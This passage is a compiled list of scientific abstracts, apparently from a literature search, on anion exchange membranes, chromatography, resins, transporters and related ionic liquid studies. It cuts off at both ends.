selectively deuterated 1-ethyl-3-methylimidazolium bis(trifluoromethylsulfonyl)amide (EMIM TFSA) ionic liquid isotopologues and related ionic liquids. For EMIM TFSA, temperature-dependent (2)H T1 data indicate stronger electric field gradients in the alkyl chain region compared to the imidazolium ring. Most significantly, the pressure dependences of the EMIM and TFSA self-diffusion coefficients revealed that the displacements of the cations and anions are independent, with diffusion of the TFSA anions being slowed much more by increasing pressure than for the EMIM cations, as shown by their respective activation volumes (28.8 ± 2.5 cm(3)/mol for TFSA vs 14.6 ± 1.3 cm(3)/mol for EMIM). Increasing pressure may lower the mobility of the TFSA anion by hindering its interconversion between trans and cis conformers, a process that is coupled to diffusion according to published molecular dynamics simulations. Measured activation volumes (ΔV(‡)) for ion self-diffusion in EMIM bis(fluoromethylsulfonyl)amide and EMIM tetrafluoroborate support this hypothesis. In addition, (2)H T1 data suggest increased ordering with increasing pressure, with two T1 regimes observed for the MD3 and D2 isotopologues between 0.1-100 and 100-250 MPa, respectively. The activation volumes for T1 were 21 and 25 cm(3)/mol (0-100 MPa) and 11 and 12 cm(3)/mol (100-250 MPa) for the MD3 and D2 isotopologues, respectively. 7. Anion exchange polymer coated graphite granule electrodes for improving the performance of anodes in unbuffered microbial fuel cells Wang, Xu; Li, Dengfeng; Mao, Xuhui; Yu, Eileen Hao; Scott, Keith; Zhang, Enren; Wang, Dihua 2016-10-01 In this paper, graphite granule composite electrodes are prepared for microbial fuel cells (MFCs) by coating commercial graphite granules with the mixture of quaternary DABCO polysulfone or Nafion ion exchange polymer and carbon black. The results of electrochemical impedance spectroscopy (EIS) suggest that the addition of carbon black could significantly improve the electrical conductivity of graphite granule anodes. When phosphate buffer solution (PBS) is replaced by NaCl solution, the current densities of the pristine anode, 0.08 g Nafion coated anode and 0.16 g QDPSU coated anode decrease by 52.6%, 20.6% and 10.3% at -0.2 V (vs. Ag/AgCl), respectively. The solution resistance of ion exchange polymer coated anodes is more stable in comparison with that of pristine anode. After 40 operational days, the performance drop of 0.16 g QDPSU coated anode when switching the solution from PBS to NaCl is still smaller than that of pristine anode. However, 0.08 g Nafion coated anode shows the similar performance in NaCl solution to the pristine anode after long term operation. This study reveals that QDPSU anion exchange polymer is more suitable for the anode modification. The QDPSU coated anode promises a great potential for three-dimensional anode based MFCs to treat domestic wastewater. 8. The transfer behavior of different ions across anion and cation exchange membranes under vanadium flow battery medium Sun, Jiawei; Li, Xianfeng; Xi, Xiaoli; Lai, Qinzhi; Liu, Tao; Zhang, Huamin 2014-12-01 The transfer behavior of different ions (V2+, V3+, VO2+, VO2+, H+, SO42-) across ion exchange membranes is investigated under vanadium flow battery (VFB) operating condition. VX-20 anion exchange membrane (AEM) and Nafion 115 cation exchange membrane (CEM) are selected to investigate the influence of fixed charged groups on the transfer behavior of different ions. The interaction between different ions and water is discussed in detail aiming to ascertain the variation of different ions in the charge-discharge process. Under the VFB medium, the transfer behavior and function of different ions are very different for the AEM and CEM. V2+ ions at the negative side accumulate when VFB is assembled with Nafion 115, while the VO2+ ions at the positive side accumulate for VX-20. The SO42- ions will transfer across Nafion 115 to balance the charges and the protons can balance the charges of VX-20. Finally the capacity fade mechanism of different membranes is investigated, showing that the capacity decay of VFB assembled with Nafion 115 mainly results from the cross mix of vanadium ions across the membrane, however, for VX-20, the side reactions can be the major reason. This paper provides important information about electrolyte for the application of VFB. 9. Determination of 129I in environmental samples by AMS and NAA using an anion exchange resin disk Suzuki, Takashi; Banba, Shigeru; Kitamura, Toshikatsu; Kabuto, Shoji; Isogai, Keisuke; Amano, Hikaru 2007-06-01 We have developed a new extraction method for the measurement of 129I by accelerator mass spectrometry (AMS) utilizing an anion exchange resin disk. In comparison to traditional methods such as solvent extraction and ion exchange, this method provides for simple and quick sample handling. This extraction method was tested on soil, seaweed and milk samples, but because of disk clogging, the milk samples and some of the seaweed could not be applied successfully. Using this new extraction method to prepare samples for AMS analysis produced isotope ratios of iodine in good agreement with neutron activation analysis (NAA). The disk extraction method which take half an hour is faster than previous techniques, such as solvent extraction or ion exchange which take a few hours. The combination of the disk method and the AMS measurement is a powerful tool for the determination of 129I. Furthermore, these data will be available for the environmental monitoring before and during the operation of a new nuclear fuel reprocessing plant in Japan. 10. Removal of Cr(VI) and As(V) ions from aqueous solutions by polyacrylate and polystyrene anion exchange resins Jachuła, Justyna; Hubicki, Zbigniew 2013-09-01 The sorption of Cr(VI) and As(V) from the aqueous solutions with the polyacrylate anion exchangers of the strong base functional groups Amberlite IRA 458 and Amberlite IRA 958 was studied. The studies were carried out by the static-batch method. The concentration of Cr(VI) and As(V) ions in the aqueous solution was determined by the UV-VIS spectrophotometer. The influence of several parameters was studied with respect to sorption equilibrium. The phase contact time and the concentration affect the sorption process. The equilibrium state was established already after 15 min of phase contact time. Maximum uptake of Cr(VI) and As(V) occurred at pH 5 and 10, respectively. The determined kinetic parameters imply that the sorption process proceeds according to the equation type of pseudo second-order. Sorption equilibrium data were correlated with the Langmuir and Freundlich isotherms. Removal of As(V) ions on macroporous Amberlite IRA 900 decreased about 12 % in presence of other anions (Cl-, NO3 -, SO4 2-) in the solution. The sorption was temperature dependent. 11. Preparation of pure, high titer, pseudoinfectious Flavivirus particles by hollow fiber tangential flow filtration and anion exchange chromatography. PubMed Mundle, Sophia T; Giel-Moloney, Maryann; Kleanthous, Harry; Pugachev, Konstantin V; Anderson, Stephen F 2015-08-20 Purification of enveloped viruses such as live flavivirus vaccine candidates poses a challenge as one must retain viral infectivity to preserve immunogenicity. Here we describe a laboratory-scale purification procedure for two replication defective (single-cycle) flavivirus variants for use in a pre-clinical setting. The two step purification scheme based on hollow fiber tangential flow filtration (TFF) followed by anion exchange chromatography using convective interaction media (CIM(®)) monoliths results in a ∼60% recovery of infectious virus titer and can be used to prepare nearly homogenous, highly purified vaccine viruses with titers as high as 1×10(9) focus forming units per mL. Flavivirus virions prepared by this method are 2 and 3 orders of magnitude more pure with respect to dsDNA and BHK host cell proteins, respectively, as compared to the raw feed stream. 12. Highly sensitive determination of ectoine and other compatible solutes by anion-exchange chromatography and pulsed amperometric detection. PubMed Riis, Volker; Maskow, Thomas; Babel, Wolfgang 2003-09-01 In saline media prokaryotes compensate for the osmotic pressure of the surrounding medium by producing osmolytes. Although these osmolytes or osmoprotectors have quite diverse structures, most of them can be determined by anion-exchange chromatography combined with integrated pulsed amperometric detection. This technique offers the advantages of very high sensitivity and new opportunities to determine ectoine and 5-hydroxyectoine-two important osmolytes -after hydrolytic cleavage of the pyrimidine ring. It can even be used to screen bacterial colonies on agar for compatible solutes. Furthermore, it allows amino acids and osmolytes of this type to be determined without derivatization. To test the method we applied it to two halotolerant bacterial strains: Stenotrophomonas rhizophila DSM 14405(T) and Halomonas elongata DSM 2581(T). The first strain produced trehalose and glucosylglycerol, and the second ectoine, as the main osmotic counterweight. The relationship between the content of these osmolytes in the bacterial biomass and the external salinity is described. 13. Chiral separation of 2-hydroxyglutaric acid on cinchonan carbamate based weak chiral anion exchangers by high-performance liquid chromatography. PubMed Calderón, Carlos; Horak, Jeannie; Lämmerhofer, Michael 2016-10-07 d- and l-2-Hydroxyglutaric acid (d- and l-2-HG, respectively) are metabolites related to some diseases (2-hydroxyglutaric aciduria, cancer), which make their identification and analysis crucially important for diagnostic purposes. Chiral stationary phases (CSP) based on tert-butylcarbamoyl-quinine and -quinidine (Chiralpak QN-AX and QD-AX), and the corresponding zwitterionic derivatives (Chiralpak ZWIX(+) and Chiralpak ZWIX(-)) were employed in a weak anion-exchange mechanism to perform the enantiomer separation of d- and l-2-HG without derivatization. QD-AX CSP showed the most promising separation and therefore optimization of eluent, additives, and temperature, required for the baseline separation of solutes was carried out. Depending on experimental conditions resolution values ranged up to 2.0 with run times <20min and MS-compatible conditions. Inversion on the elution order of d- and l-2-HG was possible by using the pseudo-enantiomeric QN-AX CSP. 14. Selenium speciation by high-performance anion-exchange chromatography-post-column UV irradiation coupled with atomic fluorescence spectrometry. PubMed Liang, Lina; Mo, Shumin; Zhang, Ping; Cai, Yaqi; Mou, Shifen; Jiang, Guibin; Wen, Meijuan 2006-06-16 A technique for the speciation of selenomethylcysteine (SeMeCys), selenocystine (SeCys), selenite [Se(IV)] and selenomethionine (SeMet) was established in this paper using high-performance anion-exchange chromatography coupled with atomic fluorescence spectrometry (HPAEC-AFS). Analytes were separated on an AminoPac PA10 column and then digested by on-line ultraviolet (UV) irradiation, which destroyed organic compound structure. Hydride generation was used as an available sample introduction technique for atomic fluorescence detection. The detection limits of four compounds were 1-5 microg/L (250 microL injection, 10 times of the baseline noise). The relative standard deviations (RSDs), calculated from seven consecutive injections of 100 microg/L standard mixtures, were from 2 to 4%. Selenious yeast tablet, which had been proposed as selenium supplement, and human urine collected from a volunteer were analyzed. Good spiked recoveries from 86 to 103% were obtained. 15. ARSENIC REMOVAL FROM DRINKING WATER BY ACTIVATED ALUMINA AND ANION EXCHANGE TREATMENT EPA Science Inventory This paper discusses the results of a one year performance evaluation study of two full scale ion exchange plants and two full scale activated alumina plant that were designed and operated for the removal of arsenic from well water. All the plants were shown to be capable of red... 16. Anion exchange membranes for electrochemical oxidation-reduction energy storage system NASA Technical Reports Server (NTRS) Odonnell, P. M.; Sheibley, D. W.; Gahn, R. F. 1977-01-01 Oxidation-reduction couples in concentrated solutions separated by appropriate ion selective membranes were considered as an attractive approach to bulk electrical energy storage. A key problem is the development of the membrane. Several promising types of anionic membranes are discussed which were developed and evaluated for redox energy storage systems. The copolymers of ethyleneglycoldimethacrylate with either 2-vinylpyridine or vinylbenzl chloride gave stable resistance values compared to the copolymer of vinylbenzlchloride and divinylbenzene which served as the baseline membrane. A polyvinylchloride film aminated with tetraethylenepentamine had a low resistance but a high ion transfer rate. A slurry coated vinylpyridine had the lowest ion transfer rate. All these membranes functioned well in laboratory cells at ambient temperatures with the acidic chloride oxidant/reductant system, Fe 3, Fe 2/Ti 3, Ti 4. 17. A step-wise approach to define binding mechanisms of surrogate viral particles to multi-modal anion exchange resin in a single solute system. PubMed Brown, Matthew R; Johnson, Sarah A; Brorson, Kurt A; Lute, Scott C; Roush, David J 2017-01-21 Multi-modal anion exchange resins combine properties of both anion exchange and hydrophobic interaction chromatography for commercial protein polishing and may provide some viral clearance as well. From a regulatory viral clearance claim standpoint, it is unclear if multi-modal resins are truly orthogonal to either single-mode anion exchange or hydrophobic interaction columns. To answer this, a strategy of solute surface assays and High Throughput Screening of resin in concert with a scale-down model of large scale chromatography purification was employed to determine the predominant binding mechanisms of a panel of bacteriophage (i.e., PR772, PP7, and ϕX174) to multi-modal and single mode resins under various buffer conditions. The buffer conditions were restricted to buffer environments suggested by the manufacturer for the multi-modal resin. Each phage was examined for estimated net charge expression and relative hydrophobicity using chromatographic based methods. Overall, PP7 and PR772 bound to the multimodal resin via both anionic and hydrophobic moieties, while ϕX174 bound predominantly by the anionic moiety. Biotechnol. Bioeng. 2017;9999: 1-8. © 2017 Wiley Periodicals, Inc. 18. Synthesis, anion exchange, and delamination of Co-Al layered double hydroxide: assembly of the exfoliated nanosheet/polyanion composite films and magneto-optical studies. PubMed Liu, Zhaoping; Ma, Renzhi; Osada, Minoru; Iyi, Nobuo; Ebina, Yasuo; Takada, Kazunori; Sasaki, Takayoshi 2006-04-12 This paper describes a systematic study on the synthesis, anion exchange, and delamination of Co-Al layered double hydroxide (LDH), with the aim of achieving fabrication and clarifying the properties of LDH nanosheet/polyanion composite films. Co-Al-CO3 LDH hexagonal platelets of 4 mum in lateral size were synthesized by the urea method under optimized reaction conditions. The as-prepared CO3(2-)-LDH was converted to Cl- -LDH by treating with a NaCl-HCl mixed solution, retaining its high crystallinity and hexagonal platelike morphology. LDHs intercalated with a variety of anions (such as NO3-, ClO4-, acetate, lactate, dodecyl sulfate, and oleate) were further prepared from Cl- -LDH via an anion-exchange process employing corresponding salts. Exchanged products in various anion forms were found to show different delamination behaviors in formamide. Among them, best results were observed for NO3- -LDH in terms of the exfoliating degree and the quality of the exfoliated nanosheets. The delamination gave a pink transparent suspension containing well-defined nanosheets with lateral sizes of up to 2 microm. The resulting nanosheets were assembled layer-by-layer with an anionic polymer, poly(sodium styrene 4-sulfonate) (PSS), onto quartz glass substrates to produce composite films. Magnetic circular dichroism (MCD) measurements revealed that the assembled multilayer films exhibited an interesting magneto-optical response. 19. Renal peroxiredoxin 6 interacts with anion exchanger 1 and plays a novel role in pH homeostasis PubMed Central Johnstone, Duncan B.; Frankl, Fiona E. Karet 2015-01-01 Peroxiredoxin 6 (PRDX6) is one of six members of the PRDX family, which have peroxidase and antioxidant activity. PRDX6 is unique, containing only one conserved cysteine residue (C47) rather than the two found in other PRDXs. A yeast two-hybrid screen found PRDX6 to be a potential binding partner of the C-terminal tail of anion exchanger 1 (AE1), a Cl−/HCO3− exchanger basolaterally expressed in renal α-intercalated cells. PRDX6 immunostaining in human kidney was both cytoplasmic and peripheral and co-localized with AE1. Analysis of native protein showed it was largely monomeric, whereas expressed tagged protein was more dimeric. Two methionine oxidation sites were identified. In vitro and ex vivo pulldowns and immunoprecipitation assays confirmed interaction with AE1, but mutation of the conserved cysteine resulted in loss of interaction. Prdx6 knockout mice had a baseline acidosis with a major respiratory component and greater AE1 expression than wild type animals. After an oral acid challenge, PRDX6 expression increased in wild type mice, with preservation of AE1. However, AE1 expression was significantly decreased in knockout animals. Kidneys from acidified mice showed widespread proximal tubular vacuolation in wild type but not knockout animals. Knockdown of PRDX6 by siRNA in mammalian cells reduced both total and cell membrane AE1 levels. Thus, PRDX6-AE1 interaction contributes to maintenance of AE1 during cellular stress such as during metabolic acidosis. PMID:26398495 20. Assemblies of protective anion exchange membrane on air electrode for its efficient operation in aqueous alkaline electrolyte Bertolotti, Bruno; Chikh, Linda; Vancaeyzeele, Cédric; Alfonsi, Séverine; Fichet, Odile 2015-01-01 Aqueous alkaline metal-air batteries represent promising energy storage devices when supplied with atmospheric air. However, under this condition, the air electrode shows a very short life time (i.e. 50 h of operation in 5 M LiOH at -10 mA cm-2), mainly due to the precipitation of carbonates inside the electrode porosity. The air electrode can then be protected by an anion exchange membrane on the electrolyte side. In this paper, we demonstrate that the efficiency of this protective membrane depends on the assembly method on the electrode. When a modified poly(epichlorohydrin) (PECH) network is synthesized directly on the electrode, the polymer seeps inside the electrode porosity, and a suitable interface inducing negligible additional polarization in comparison with classical pressure-assembled membranes is obtained. This protected electrode shows improved stability of up to 160 h of operation in 5 M LiOH. This performance is improved to 350 h by adjusting the conductivity and the ionic exchange capacity. Finally, the interest of interpenetrating polymer network (IPN) architecture compared to a single network is confirmed. Indeed, an electrode protected with a PECH/poly(2-hydroxyethyl methacrylate) (PHEMA) IPN is stable for 650 h in 5 M LiOH. In addition, degradation process becomes reversible since the assembly can be regenerated, which is not possible for the bare electrode. 1. In and ex situ characterization of an anion-exchange membrane for alkaline direct methanol fuel cell (ADMFC) Santasalo-Aarnio, Annukka; Hietala, Sami; Rauhala, Taina; Kallio, Tanja 2011-08-01 Anion exchange membrane fumasep® FAA-2 was characterized with ex and in situ methods in order to estimate the membranes' suitability as an electrolyte for an alkaline direct methanol fuel cell (ADMFC). The interactions of this membrane with water, hydroxyl ions and methanol were studied with both calorimetry and NMR and compared with the widely used proton exchange membrane Nafion® 115. The results indicate that FAA-2 has a tighter structure and more homogeneous distribution of ionic groups in contrast to the clustered structure of Nafion, moreover, the diffusion of OH- ions through this membrane is clearly slower compared to water molecules. The permeability of methanol through the FAA-2 membrane was found to be an order of magnitude lower than for Nafion. Fuel cell experiments in 1 mol dm-3 methanol with FAA-2 resulted in OCV of 0.58 V and maximum power density of 0.32 mW cm-2. However, even higher current densities were obtained with highly concentrated fuels. This implies that less water is needed for fuel dilution, thereby decreasing the mass of the fuel cell system. In addition, electrochemical impedance spectroscopy for the ADMFC was used to determine ohmic resistance of the cell facilitating the further membrane development. 2. Cross-linked anion exchange membranes with pendent quaternary pyrrolidonium salts for alkaline polymer electrolyte membrane fuel cells Lan, Chunhua; Fang, Jun; Guan, Yingjie; Zhou, Huili; Zhao, Jinbao 2015-11-01 Novel anion-exchange membranes based on two kinds of pyrrolidonium type ionic liquids, N-methyl-N-vinyl-pyrrolidonium (NVMP) and N-ethyl-N-vinyl-pyrrolidonium (NVEP), have been synthesized via polymerization and crosslinking treatment, followed by membrane casting. The covalent cross-linked structures of these membranes are confirmed by FT-IR. The obtained membranes are also characterized in terms of water uptake, ion exchange capacity (IEC), ionic conductivity as well as thermal, dimensional and chemical stability. The membranes display hydroxide conductivity of above 10-2 S cm-1 at 25 °C. Excellent thermal stability with onset degradation temperature above 235 °C, good alkaline stability in 6 mol L-1 NaOH at 60 °C for 168 h and remarkable dimensional stability of the resulting membranes have been proved. H2/air single fuel cells employed membrane M3 and N3 show the open-circuit voltage (OCV) of 0.953 V and 0.933 V, and the maximum power density of 88.90 mW cm-2 and 81.90 mW cm-2 at the current density of 175 mA cm-2 and 200 mA cm-2 at 65 °C, respectively. 3. Synthesis and performance of novel anion exchange membranes based on imidazolium ionic liquids for alkaline fuel cell applications Fang, Jun; Lyu, Ming; Wang, Xin; Wu, Yongbin; Zhao, Jinbao 2015-06-01 Novel anion exchange membranes (AEMs) based on two types of imidazolium ionic liquids, 1-vinyl-3-methylimidazolium iodide [VMI]I and 1-vinyl-3-butylimidazolium bromide [VBI]Br, have been synthesized by copolymerization. The obtained membranes are characterized in terms of water uptake, ion exchange capacity (IEC), ionic conductivity as well as thermal and chemical stability. The conductivity reaches 0.0226 Scm-1 at 30 °C. All the membranes show excellent thermostability. The membranes are stable in 10 mol L-1 NaOH solution at 60 °C for 120 h without obvious changes in ion conductivity. Fuel cell performance using the resulting membrane has been investigated. The open circuit voltage (OCV) of the H2/O2 fuel cell is 1.07 V. A peek power density of 116 mW cm-2 is obtained at a current density of 230 mA cm-2 at 60 °C. The results demonstrate the brilliant prospect of the developed membranes for alkaline fuel cell applications. 4. A semi-interpenetrating network approach for dimensionally stabilizing highly-charged anion exchange membranes for alkaline fuel cells. PubMed He, Steve S; Strickler, Alaina L; Frank, Curtis W 2015-04-24 There is a delicate balance between ion exchange capacity (IEC), conductivity, and dimensional stability in anion exchange membranes as higher charge content can lead to increased water uptake, causing excessive swelling and charge dilution. Using highly-charged benzyltrimethylammonium polysulfone (IEC=2.99 mEq g(-1) ) as a benchmark (which ruptured in water even at room temperature), we report the ability to dramatically decrease water uptake using a semi-interpenetrating network wherein we reinforced the linear polyelectrolyte with a crosslinked poly(styrene-co-divinylbenzene) network. These membranes show enhanced dimensional stability as a result of lower water uptake (75 % vs. 301 % at 25 °C) while maintaining excellent hydroxide conductivity (up to 50 mS cm(-1) at 25 °C). These improvements produced an enhanced alkaline fuel cell capable of generating 236 mW cm(-2) peak power density at 80 °C. This method is easily adaptable and can be a viable strategy for stabilizing existing systems. 5. Chitosan Derivatives as Important Biorefinery Intermediates. Quaternary Tetraalkylammonium Chitosan Derivatives Utilized in Anion Exchange Chromatography for Perchlorate Removal PubMed Central Sayed, Shakeela; Jardine, Anwar 2015-01-01 There has recently been great interest in the valorization of biomass waste in the context of the biorefinery. The biopolymer chitosan, derived from chitin, is present in large quantities of crustacean waste. This biomass can be converted into value-added products with applications in energy, fuel, chemicals and materials manufacturing. The many reported applications of this polymer can be attributed to its unique properties, such as biocompatibility, chemical versatility, biodegradability and low toxicity. Cost effective water filters which decontaminate water by removal of specific impurities and microbes are in great demand. To address this need, the development of ion exchange resins using environmentally friendly, renewable materials such as biopolymers as solid supports was evaluated. The identification and remediation of perchlorate contaminated water using an easy, inexpensive method has come under the spotlight recently. Similarly, the use of a low cost perchlorate selective solid phase extraction (SPE) cartridge that can be rapidly employed in the field is desirable. Chitosan based SPE coupled with colorimetric analytical methods showed promise as a renewable anion exchange support for perchlorate analysis or removal. The polymers displayed perchlorate retention comparable to the commercial standard whereby the quaternized iron loaded polymer TMC-Fe(III) displayed the best activity. PMID:25915024 6. How pulse modes affect proton-barriers and anion-exchange membrane mineral fouling during consecutive electrodialysis treatments. PubMed Cifuentes-Araya, Nicolás; Pourcelly, Gérald; Bazinet, Laurent 2013-02-15 Mineral fouling of cation-exchange membrane (CEM) was recently reduced by pulsed electric fields (PEFs) during the electrodialysis (ED) of solutions containing high Mg(2+)/Ca(2+) ratios. However, a fouling layer appeared on the diluate side of anion-exchange membrane (AEM) once the pause lapse surpassed certain duration. Recent studies presented a multilayer mineral growth on CEM, but the case of AEM needs yet to be cleared. The current study reveals the mechanisms involved in AEM fouling growth when applying pulse modes of current in comparison with dc current. The results showed that dc current generated steady proton barriers given by water splitting at AEM interfaces that impeded fouling on both membrane sides. The higher frequency of PEF ratio 1 (Ton/Toff=10s/10s) acted removing completely an initial mineral deposit on the concentrate side of AEM, keeping it clean after two and three consecutive runs. Particularly, an undesirable brucite layer was formed on the AEM-diluate side for longer pause lapses as for a PEF ratio 0.3 (Ton/Toff=10s/33.3s) current regime. This structure caused violent water splitting resulting in amorphous magnesium hydroxide formation and consequently in fouling precipitation on the concentrate side during a third run through current exaltation. 7. Simultaneous determination of 13 carbohydrates using high-performance anion-exchange chromatography coupled with pulsed amperometric detection and mass spectrometry. PubMed Zhao, Dan; Feng, Feng; Yuan, Fei; Su, Jin; Cheng, Yan; Wu, Hanqiu; Song, Kun; Nie, Bo; Yu, Lian; Zhang, Feng 2017-02-28 A simple, accurate, and highly sensitive method was developed for the determination of 13 carbohydrates in polysaccharide of spirulina platensis based on high-performance anion-exchange chromatography coupled with pulsed amperometric detection and mass spectrometry. Samples were extracted with deionized water using ultrasonic-assisted extraction, and the ultrasound-assisted extraction conditions were optimized by Box-Behnken design. Then the extracted polysaccharide was hydrolyzed by adding 1 mol/L trifluoroacetic acid before determination by high-performance anion-exchange chromatography coupled with pulsed amperometric detection and confirmed by high-performance anion-exchange chromatography coupled with mass spectrometry. The high-performance anion-exchange chromatography coupled with pulsed amperometric detection method was performed on a CarboPac PA20 column by gradient elution using deionized water, 0.1 mol/L sodium hydroxide solution and 0.4 mol/L sodium acetate solution. Excellent linearity was observed in the range of 0.05-10 mg/L. The average recoveries ranged from 80.7 to 121.7%. The limits of detection and limits of quantification for 13 carbohydrates were 0.02-0.10 and 0.2-1.2 μg/kg, respectively. The developed method has been successfully applied to ambient samples, and the results indicated that high-performance anion-exchange chromatography coupled with pulsed amperometric detection and mass spectrometry could provide a rapid and accurate method for the simultaneous determination of carbohydrates. 8. Organic Anion Transporter 1 Is Inhibited by Multiple Mechanisms and Shows a Transport Mode Independent of Exchange. PubMed Hotchkiss, Adam G; Gao, Tiandai; Khan, Usman; Berrigan, Liam; Li, Mansong; Ingraham, Leslie; Pelis, Ryan M 2015-12-01 The mechanism by which drugs inhibit organic anion transporter 1 (OAT1) was examined. OAT1 was stably expressed in Chinese hamster ovary (CHO) cells, and para-aminohippurate (PAH) and 6-carboxyfluorescein were the substrates. Most compounds (10 of 14) inhibited competitively, increasing the Michaelis constant (Km) without affecting the maximal transport rate (Jmax). Others were mixed-type (lowering Jmax and increasing Km) or noncompetitive (lowering Jmax only) inhibitors. The interaction of a noncompetitive inhibitor (telmisartan) with OAT1 was examined further. Binding of telmisartan to OAT1 was observed, but translocation was not. Telmisartan did not alter the plasma membrane expression of OAT1, indicating that it lowers Jmax by reducing the turnover number. PAH transport after telmisartan treatment and its washout recovered faster in the presence of 10% fetal bovine serum in the washout buffer, indicating that binding of telmisartan to OAT1 and its inhibitory effect are reversible. Together, these data suggest that telmisartan binds reversibly to a site distinct from substrate and stabilizes the transporter in a conformation unfavorable for translocation. In the absence of an exchangeable extracellular substrate, PAH efflux from CHO-OAT1 cells was relatively rapid. Telmisartan slowed PAH efflux, suggesting that some transporter-mediated efflux occurs independent of exchange. Although drug-drug interaction predictions at OAT1 assume competitive inhibition, these data show that OAT1 can be inhibited by other mechanisms, which could influence the accuracy of drug-drug interaction predictions at the transporter. Telmisartan was useful for examining how a noncompetitive inhibitor can alter OAT1 transport activity and for uncovering a transport mode independent of exchange. 9. Role of urea on recombinant Apo A-I stability and its utilization in anion exchange chromatography. PubMed Angarita, Monica; Arosio, Paolo; Müller-Späth, Thomas; Baur, Daniel; Falkenstein, Roberto; Kuhne, Wolfgang; Morbidelli, Massimo 2014-08-08 Apolipoprotein A-I (Apo A-I) is an important lipid-binding protein involved in the transport and metabolism of cholesterol. High protein purity, in particular with respect to endotoxins is required for therapeutic applications. The use of urea during the purification process of recombinant Apo A-I produced in Escherichia coli has been suggested so as to provide high endotoxin clearance. In this work, we show that urea can be used as a sole modifier during the ion exchange chromatographic purification of Apo A-I and we investigate the molecular mechanism of elution by correlating the effect of urea on self-association, conformation and adsorption equilibrium properties of a modified model Apo A-I. In the absence of urea the protein was found to be present as a population of oligomers represented mainly by trimers, hexamers and nonamers. The addition of urea induced oligomer dissociation and protein structure unfolding. We correlated the changes in protein association and conformation with variations of the adsorption equilibrium of the protein on a strong anion exchanger. It was confirmed that the adsorption isotherms, described by a Langmuir model, were dependent on both protein and urea concentrations. Monomers, observed at low urea concentration (0.5M), were characterized by larger binding affinity and adsorption capacity compared to both protein oligomers (0M) and unfolded monomers (2-8M). The reduction of both the binding strength and maximum adsorption capacity at urea concentrations larger than 0.5M explains the ability of urea of inducing elution of the protein from the ion exchange resin. The dissociation of the protein complexes occurring during the elution could likely be the origin of the effective clearance of endotoxins originally trapped inside the oligomers. 10. Formation of Semimetallic Cobalt Telluride Nanotube Film via Anion Exchange Tellurization Strategy in Aqueous Solution for Electrocatalytic Applications. PubMed Patil, Supriya A; Kim, Eun-Kyung; Shrestha, Nabeen K; Chang, Jinho; Lee, Joong Kee; Han, Sung-Hwan 2015-11-25 Metal telluride nanostructures have demonstrated several potential applications particularly in harvesting and storing green energy. Metal tellurides are synthesized by tellurization process performed basically at high temperature in reducing gas atmosphere, which makes the process expensive and complicated. The development of a facile and economical process for desirable metal telluride nanostructures without complicated manipulation is still a challenge. In an effort to develop an alternative strategy of tellurization, herein we report a thin film formation of self-standing cobalt telluride nanotubes on various conducting and nonconducting substrates using a simple binder-free synthetic strategy based on anion exchange transformation from a thin film of cobalt hydroxycarbonate nanostructures in aqueous solution at room temperature. The nanostructured films before and after ion exchange transformation reaction are characterized using field emission scanning electron microscope, energy dispersive X-ray analyzer, X-ray photoelectron spectroscopy, thin film X-ray diffraction technique, high resolution transmission electron microscope, and selected area electron diffraction analysis technique. After the ion exchange transformation of nanostructures, the film shows conversion from insulator to highly electrical conductive semimetallic characteristic. When used as a counter electrode in I3(-)/I(-) redox electrolyte based dye-sensitized solar cells, the telluride film exhibits an electrocatalytic reduction activity for I3(-) with a demonstration of solar-light to electrical power conversion efficiency of 8.10%, which is highly competitive to the efficiency of 8.20% exhibited by a benchmarked Pt-film counter electrode. On the other hand, the telluride film electrode also demonstrates electrocatalytic activity for oxygen evolution reaction from oxidation of water. 11. Thermally Cross-Linked Anion Exchange Membranes from Solvent Processable Isoprene Containing Ionomers DTIC Science & Technology 2015-01-15 under reduced pressure at 40 °C for 20 h. The quaternized polymer polyisoprene-ran- poly(vinylbenzyltrimethylammonium chloride) (PI-ran- P [VBTMA]- [Cl...was obtained as pale yellow solid. The quaternized polymers are denoted as PI-ran- P [VBTMA][Cl]-x, where x is the ion exchange capacity (IEC) of the...Characterization of PI-ran- P [VBTMA]- [Cl]-x Copolymers. Precursor copolymers of PI-ran-PVBCl were synthesized through nitroxide-mediated polymerization 12. Molecular mechanisms of epithelial cell-specific expression and regulation of the human anion exchanger (pendrin) gene. PubMed Adler, Lior; Efrati, Edna; Zelikovic, Israel 2008-05-01 Pendrin, a Cl(-)/anion exchanger encoded by the gene PDS, is highly expressed in the kidney, thyroid, and inner ear epithelia and is essential for bicarbonate secretion, iodide accumulation, and endolymph ion balance, respectively. This study aimed to define promoter regulatory elements essential for renal, thyroid, and inner ear epithelial cell-specific expression of human PDS (hPDS) and to explore the effect of ambient pH and aldosterone on hPDS promoter activity. Endogenous pendrin mRNA and protein were detected in renal HEK293, thyroid LA2, and inner ear VOT36 epithelial cell lines, but not in the fibroblast cell line, NIH3T3. A 4.2-kb hPDS 5'-flanking DNA sequence and consecutive 5'-deletion products were cloned into luciferase reporter vectors and transiently transfected into the above cell lines. Distinct differences in expression/activity of deduced positive/negative regulatory elements within the hPDS promoter between HEK293, LA2, and VOT36 cells were demonstrated, with only basal activity in NIH3T3 cells. Acidic pH (7.0-7.1) decreased and alkaline pH (7.6-7.7) increased hPDS promoter activity in transfected HEK293 and VOT36, but not in LA2 cells. Aldosterone (10(-8) M) reduced hPDS promoter activity in HEK293 but had no effect in LA2 and VOT36 cells. These pH and aldosterone-induced effects on the hPDS promoter occurred within 96-bp and 89-bp regions, respectively, which likely contain distinct response elements to these modulators. Acidic pH and aldosterone decreased, and alkaline pH increased, endogenous pendrin mRNA level in HEK293 cells. In conclusion, pendrin-mediated HCO3(-) secretion in the renal tubule and anion transport in the endolymph may be regulated transcriptionally by systemic pH and aldosterone. 13. The noncompetitive inhibitor WW781 senses changes in erythrocyte anion exchanger (AE1) transport site conformation and substrate binding. PubMed Knauf, P A; Raha, N M; Spinelli, L J 2000-02-01 WW781 binds reversibly to red blood cell AE1 and inhibits anion exchange by a two-step mechanism, in which an initial complex (complex 1) is rapidly formed, and then there is a slower equilibration to form a second complex (complex 2) with a lower free energy. According to the ping-pong kinetic model, AE1 can exist in forms with the anion transport site facing either inward or outward, and the transition between these forms is greatly facilitated by binding of a transportable substrate such as Cl(-). Both the rapid initial binding of WW781 and the formation of complex 2 are strongly affected by the conformation of AE1, such that the forms with the transport site facing outward have higher affinity than those with the transport site facing inward. In addition, binding of Cl(-) seems to raise the free energy of complex 2 relative to complex 1, thereby reducing the equilibrium binding affinity, but Cl(-) does not compete directly with WW781. The WW781 binding site, therefore, reveals a part of the AE1 structure that is sensitive to 